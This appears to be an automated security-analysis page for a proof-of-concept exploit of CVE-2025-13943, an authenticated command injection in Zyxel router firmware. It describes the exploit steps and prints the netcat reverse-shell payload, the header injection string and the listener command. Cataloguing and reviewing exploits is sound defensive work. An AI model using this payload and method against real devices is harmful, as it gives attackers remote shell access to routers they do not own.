PoC files

4 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub

Analysisdeepseek-v4-pro:cloud ·

Technical assessment

Python script (rce.py) that authenticates to a Zyxel router, starts a packet capture, injects a reverse shell command via an HTTP header, stops the capture, and triggers the vulnerable log export function to execute the injected command.

Backdoor review

No backdoor observed in reviewed code

The PoC consists of a README describing CVE-2025-13943 and a Python script (rce.py) that automates exploitation. The script performs authenticated command injection against a Zyxel router to establish a reverse shell. All actions are consistent with demonstrating the described vulnerability; no concealed, deceptive, or unrelated harmful behavior was observed.

ClassificationExploit
Model confidence98%
AuthenticationRequired
LanguagesPython
Target softwareZyxel zhttpd
Attack typesOS command injectionreverse shell
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The rce.py script performs all steps required to exploit the vulnerability: it authenticates, injects a malicious command into a packet capture, and triggers the vulnerable log export function to execute the command, resulting in a reverse shell. This is active exploitation, not just detection.

rce.py:1-126

Requirements

  • Valid credentials for the target device's web interface.rce.py:7-8
  • Target device must be running a vulnerable Zyxel firmware version with the zhttpd binary.README.md:3
  • Attacker must provide target IP/hostname and attacker IP as command-line arguments.rce.py:10-12

Observed behavior

  • Starts a netcat listener on the attacker machine to receive the reverse shell.rce.py:72-74
  • Authenticates to the target device using the provided credentials and obtains a session key.rce.py:86-102
  • Sends authenticated requests to start a packet capture on the target device.rce.py:108-110
  • Sends an HTTP request with a malicious header containing a reverse shell command to be captured by tcpdump.rce.py:112-113
  • Stops the packet capture and triggers the log export function, which causes the injected command to be executed via a system() call.rce.py:115-120
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 5555 >/tmp/fThe script constructs a reverse shell command using the attacker-supplied IP and port, which is injected into the vulnerable endpoint to gain remote access. This is the intended exploit payload.rce.py:15
Command Injection
$(rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 5555 >/tmp/f)The script injects the reverse shell command into an HTTP header, which is later executed by the vulnerable system() call in the target firmware. This matches the described vulnerability.rce.py:113
Listener
nc -lp 5555The script starts a netcat listener on the attacker machine to receive the reverse shell connection. This is standard exploit behavior.rce.py:16rce.py:73-74
Review boundaries

What the analysis did not establish

  • Evidence includes two non-text media files (images) that were not analyzed; their content is described in the README but not directly inspected.
  • The analysis is based solely on the provided source code and documentation; the code was not executed, and its effectiveness is not verified.
  • Two non-text media files (images) totaling 176703 bytes were flagged as binary and not analyzed; they are referenced in the README as screenshots of the disassembly and PoC output.
  • The review is limited to the supplied text files; no dynamic analysis or execution was performed.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1